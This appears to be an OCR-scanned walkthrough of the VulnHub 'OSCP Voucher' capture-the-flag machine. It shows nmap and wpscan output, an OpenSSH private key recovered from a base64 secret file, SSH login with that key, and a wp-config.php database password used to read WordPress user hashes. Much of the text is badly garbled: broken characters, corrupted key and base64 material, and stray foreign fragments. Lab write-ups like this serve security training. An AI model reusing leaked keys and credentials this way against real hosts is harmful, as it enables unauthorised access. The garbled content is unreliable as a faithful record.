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# Nmap 7.91 scan initiated Thu Feb & 20:21:17 2821 as: nmap -55 -sV -A -0 -p- -0 nmap.scan 192.
Mmap scan report for 192.168.1.9

Host is up (0.000365 latency).

Mot shown: 65532 closed ports

STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu®@.1 (Ubuntu Linux; protocol 2.8)

stkey:
3072 91:ba:0d:d4:39:05:e3:13:55:57:8F:1b:46:90:db:e4 (RSA)
256 0f:35:d1:a1:31:f2:f6:aa:75:e8:17:01:e7:1e:d1:d5 (ECDSA)
256 af:f1:53:ea:7b:4d:d7:fa:d8:de:0d:f2:28:fc:86:d7 (ED25519)
Eﬂftca I open http Apache httpd 2.4.41 ((Ubuntu))
_http-generator: WordPress 5.4.2
http-robots.txt: 1 disallowed entry
secret.txt
_http-server-neader: Apache/2.4.41 (Ubuntu)
_http-title: OSCP Voucher &#8211; Just another WordPress site
33060/tcp open mysqlx?
fingerprint-strings:
DNSStatusRequestTCP, LDAPSearchReq, MotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
Tnvalid message”
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Heya! Welcome to the hunt.

In order to enter the give away, you must obtain the root flag located n
/root/. Once you've obtained the flag, message the TryHarder bot
with the command !flag <insert flag>. It will then validate the flag for
verification. Should it be incorrect, it will let you know: If it’s correct,
you will be given a new role on the server where you can chat with
others in a private channel. Once you’ve recerved the role you are

entered into the give away!

You must be a member of the server in order to use the command

above.

RER! ZR 7 &R, XaTles LE—BIBRoscp

For those downloading this bo‘c off vulnhub at a later time, the

command above will no longer be available.

Oh yea! Almost forgot the onl}-' user on this box is “oscp”.

A big thank you to Offensive Securitjf for providing the voucher.
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LE0tLS1CEUAITiBPUEVOUINI IFBSESVZBVE U2 S0VZL S0+ LE0EY JNCBG JuTnphdzF v 1 hr dGEgRIFB
QUFBQL ¢ 1dm] tVUFBQUFFY mO 5 dVpROUFBOUFBOUFBOLFBOUT sd0FEQUF kemfvZ 2R jbgp0aEFBOLUFB
dOVBOVEBOUFZRUF OSENzUSp ] dFVGOEs4dG 1 PcUVDUVINck tLck NS c2] 2eT2pSUe 301 nNF A d 313
E2drVVdlCkl 601N dmdsTEISZmevbHNL ZHhm T VEEY k INR3F TQURGN U TUY X2 haWdRZW+ 12 TB1 THNZ
av vl IVGaE VT pMVHZ L EpKeHoEY1 1 M 1Y TVGNER SOVVZ L HpD aGUON S owRG Bwa VE SNT c4R0p YV
WF xc 2MMbUVRAHE Ja Vv NicZrR1 tBdmV N 2hxU521 cnebdgpBOVFESYVEN 221 ZHF vOFhF elkvLDxx
N tzlWewcFVINEtDa 1k x0Gk 2dmbmaV 1 IR2t5VeF T2 350G 2 1eD1 CRIEr NV SN NOC ne 2R UR1 OW R Y
S0tDEEANE 2Rublkd0Z 37Ba 3F UK 2daV 2av THB NGV r Y XV r Nk SON0EDek 95 Tn ] JWEFZEnE x 1 A6V IIV0
Bl d1kEa0NFY 22X SkpsW JcrZmNFRmE 10 1 dnFXd0L 2FLZEZ SWFBRAZ1 uRmep T 1ZTW 1hd ThaWm] &
all]JenhOSV1 Y e TNNSGNLOk] 252owsSFNLAL tI Tk t 0V twVEw 1T 289B a0 42khGN =B 1a1 ZPT 32ZVHY ]
MNES1d55E] aW TN ZTA4ST TSWGVE eRZGW ISR 0x 12 2BlCnRI WWRE SEZNNZN a5 2NG 1Se o5 Unlly
a2V 202FaT1pL 33y TV JBQUFGZ0g 551 FNN S ATVINEQUFBQUI 2 TnphQ=F 5 Y = IKRUFBQUACO xS
daJFe3g3V Jml 32N W pxaEFrRON 2el ] xd2 t1 Rz 2dW SpOnllwi 1 1 0Rmo 3L 2 NQL OpGRmEp TEAVhkw(
S1IN4UARTMWFETNUY 1heRIVHekZ 3 cWtnT 0V Ive 3 Tvh 0VI cExudEdSNO KDY w2V TZVG 2 FV 10w
NzNal1Zz¥ z] 5 SHMndVd1UmERC jVmile dE « 3dwWHYOOD1BNKkE Ja0 102 59CaVAFREF ySEN LaEdyTW1 ]
ayv8haFpCZmAMN 2z ONGF gz 20FB1 d1BVOUNGOUT4 1WGAEY XEvEnhNN] Ave TZ0UHIFEVAZVE 200201
EOSmEXVyNINOLUT 4cE 1 sdF Ve SzhgleV 121 F SazVON 2+ XE5ER 3 T 3BnMnd N pZepoetplbl o leGpl
THAES2svb0dW cvaa S 2N0SHEHenBPallrel Fzemt TV X1 GA0ACVIERE N yaEx o VI 4R 0pBaERIMWIT
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cEOEZ 1VNemx 2EnFpREENR tVEmEa jdme X1 POVhEZ 2+ 20FFr c 05+ EXhLEO JBak duTT1 10HT50K1
NVBObzF 230V AL cENNeE1 ZWwpCaGRshbmy 0T UF YEF Yo Y 0t HRnZ XNWFPTW xHOZVhE JEEeFNEA0c15nlz
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k————BEGIN OPENSSH PRIVATE KEY——

b3BlbnNzaClrZzxktdjEAAAAABGSvbmUAAAAEDMOUZOAAAAAAAAABAAABTWAAAADZC2gTCn
NhAAAAAWEAAQAAAYEATHCSSZHEUFBKB8t10gECOYLrKKrCRsbvg61IG7RIZOWPYIw+ghkUie
IzBScvglLE9flolsKdxfMQQbMVGgSADNYBTavaigQekuedblsyk/rZ5FhOURZLTvd1IWxz
bIeyC5a5F@D19UYmzChe43z0D00iQwl78GIUQagscLmEatqIiT/2FkF+AveW3hgPfbrwov
A90AIUA3ledqr8XEzY//Lqo+sQg/pUudKPkY18i6vnfiYHGkyW1SgryPh5=9BGTk3eRYcN
wemDbA j XKKCHGM+dnnGNgvAkgT+gZWz /Mpy@ekauk6NP7NCZORNT IXAYFalriWzaEtypHwY
kCEcfWII1Z7+fcEFa5B7gEwt/aKd FRXPQwinF1igMYMmau8PZbPiBIrxtIYXy3MHCKBIS]
OHSKv+HbKWIkpTL500AkB8fHF30ujVOb6YTuclsJKWRHIZY3qe@8I2RXeEXFFYu9oLugdd
tHYdJHFL7 cWiNv4mRyJ9RcrhVL1V3CazNZKKwraRAAAFEHIIQL1/SUCOAAAAB3NZACTyC2
EAAAGBALRWIEsX7VBfCvLY jqhAkGC6yiqukbG76uoiBu@fYNFj7/cPolFFniMwUnL4ISxP
X5aJbCncXzEEGZFRgkgAS2AU2r200EHPLNtGY7GIP62eRYTLEWS@73Z25Vsc2yHsguluRdA
5fVGIswoXuNS9AGNIkMNe /BiVEGqrHCShGrailk,/9hZBfglL31t4aj3268PbwPUACFANSXN
aq/FxM2P/y6tPrEIP6VLLCI5GNfIurs34mBxpMLtUok8j4ecfQRkSN3kWHDcOpg2wIlyig
hxjPnZ5xjYLwIKk/oGVs/zKctHpGrp0jT+zQszkTayFwGBWtals2hLcqR8GIARHH11SZWe
/n3BBWuQe4BMLT2inRUVZOMIpXZYKDGDImrvD2Wz4gSK8bSGF8tzB3CgSLCdBOir/h2yly
ZKUy+TgAJATHxxd9Lo1Tm+mE7nNbCSTkRyGWNENtPCNKkV3IhMRRWLvaC7oNHbR2ZHSRXS+3F
0jb+JkcifUXK4VSOVdwmszWSisK2kQAAAAMBAAEAAAGBALCYzZeZ t JApaqGwbeceWgkyXXr
bjZi147pkNbV70IWmnxixY31KjroKldXgkzLIJRoDfYp1Vu+SETVIWT tVcBmSMZmQO11iApD
gUMz lvFqiDNLFKUJAT 7 fqy0AXDgkvB8QksNmExKoBAJGnMIuBrRAY jSPNo1wAWKpCLXTIY3
BhdlneNaAXDV/cKGFvW1aOMlGCealODxSAWG5Jys4Ki6kI5EkfWoB8elsUWF3@wokwoy jIP
UF5Fg6udIPnmEWApvLt62IeTvFqe+tPtGnVPLle031vnCBBIXf8vBkaWtoIVIdIt3h08ck ]
kMtXsvLgR1velbZUZX5MymHalN/LA1IsoC4Yke/pMg359cYRRkm+GXiUUSbvgezuM4Bmko
QPvyUcye28zwk06tgVMZx4osrToNIWtDUUdbdmD2UBZ2n3CZMkOVIXIxe juS1kH1fs8q39
QX fxdNhBb3Yr2RjCFULDxhwDSIHzGT7gf JEDaWYcOkNkIaHHgaV7kxzypYcglrs@S7C40AA
AMEAhdmD7Qu5trtBF3mgfcdqpZ0q6+tWehkmROhZNX5Z6fnedUx //QY5SswKAEVENCKKESM
iFX1YfgH6K/5UnZngEbjMOMTdO0 L kbrgpMYih+ZgyvK1LoOTyMvWeT5LMg jIG5aQ5393M2
yUEiSXer7q9oN6VHYXDIhUWX2V3QMcCqptSCSs1bsqvkmNvhQXMAaASSAIWI9gXWXim155p
WoqdjoSWEJxKe FTwUW7WO1YC2Fv5ds3cYORBRorbmGnzdi1ZgxZAAAAWGDhNXKmS@oVMdDy
3fKZgTuwraMy5Hy 15 jra6ow]/5rIMUX6sjZEigZad6E jcevZIyGTF2uv77AQ2Rqunbb2G1
JjdLkc@Yt9ubqSikd5f8AkZ1ZBsCIrvuDQZCoxZBGUD2DUWzOgKML fxvFBNQF+LWFgtbrSP
0gB4ihdPC1+6FdS)QJ77 f1bNGHmn@amoiuljlUOOPL1cIPzt®hzERLJ2qv9DUelTOUran0
cUWrPgrzVaT+Qvkk JGIFX+r8tGWCAOQRUAAADBAMAcRhDowOFx50HKE+HMI ]2 jQTefvwpm
Bn2FN6kw4GLZiVeqUTeaY68njLihtDpeeSzopSjyKh10bNwRSODAILscWg6xc/R8yuehel
Rcw85udkhNVWperg40siFZMpwKqcMLt8161VmoUB jRtBD4gSMYWRANOGN jOVIWMTBIWORL1R
kuoRiShh6uCjGCCH/WfwCof9enCe j4HEj5SEPj8nZ@cMNvoARG7VNCNGTPamcXBrf TwxcVT
8nfK2oDc6LfrDmjOAAAATYC2NWOGIZY3A=

END OPENSSH PRIVATE KEY
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Interesting Finding(s):

robots
Found

¥ML-RPC seems to be enabled: http:/ .9/xmlrpc.php
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wpscan url http://192.168.1.9

User(s) Identified:

admin
FJund By: Author Posts - Author Pattern (Passive Detection)
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ssh admin@192.168.1.9 -1i private-key

ssh oscp@192.168.1.9 -i private-key



R EERINE .

oscpml9o2. 1¢
WelCOmeTo OOOmCo

help.ubuntu.com
flandscap onical.com
fubuntu.com/advantage

information as of Fri @5 Feb 2021 ©02:10:00 AM UTC

Processes: 214
1
192 .1.9

The list of ilable updates is more than
To check for updates run: sudo apt update

[dst Login: riji Feb 5 @1:57 21 from 1%%”&
-bash-5 ;

4 S WCERAE B HE & R AL
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/var/wa /html/wp-config.php
Jusr/share/wordpress/wp-config.phpdefine( 'DB_NAME', 'wordpress’ );
define( 'DB_USER', 'wordpress' );
define( 'DB_PASSWORD', 'Oscpl2345!' );
define( 'DB_HOST', 'localhost' );
$debian_server = preg_replace('/:.%/', "", $_SERVER[ 'HTTP_HOST']);
if (!defined('DB_NAME'))

define('DB_NAME', 'wordpress');
if (!defined('DB_USER'))

define('DB_USER', 'wordpress');
if (!defined('DB_HOST'))

define('DB_HOST', 'localhost');

% FtimysqlbL J5 updateZ 55, 2 J5 A1 7] LA % B wordpressH adminlk /-

-bash-5.84 mysql -h (ocalhost -u wordpress -p wordpress

Enter password:

R ing e information for etion of table and column names
n off this feature to get a r startup with -A

Commands end with ;

(Ubuntu)

owners.

\h' for help. Type

Type 'help;’ or

mysql> databases
_)




information_schema

tionships
onomy

BEBEEFRR P ED GRS

| 1| admin PriD@ || admin com | http:/ 7 2:49 | 1612490104 RpdKWdYAgc51a5EUTTmERoWE @ | admin
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12345 827 cchbOeeaBa706cAc34a16891184e7b

SHA224 SHAZ256 SHA384 SHAS512 HmacSHA1 HmacMD5 HmacSHA224 HmacSHA256 HmacSHA384 HmacSHAS512
SHA1 ETER
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A oscPvoucher <5 B 17 4 New Howdy, admin
Screen Options ¥ Help ¥
@ Dashboard
WordPress 5.6.1 is available! Please update now.
Home
Upd Dashboard
;f Posts
€ Dismi
07 Media Welcome to WordPress! s
We've assembled some links to get you started:
[ Pages
P Comments 47 Get Started Next Steps More Actions
K Write your first blog post ] Manage widgets
# Appearance istomize Your Site
+ Add an About page E Manage menus
£ Plugins @
or, change your theme completely @ Set up your homepage B Tum comments on or off
o Users
B View your site P Learn more about getting started
Tools
Settings
Site Health Status a Quick Draft .
Should be improved Title
Your site’s health is looking good, but there are still some things you
can do to improve its performance and security. Content

Take a lock at the 9 items on the Site Health screen. What's on your mind?

At a Glance B
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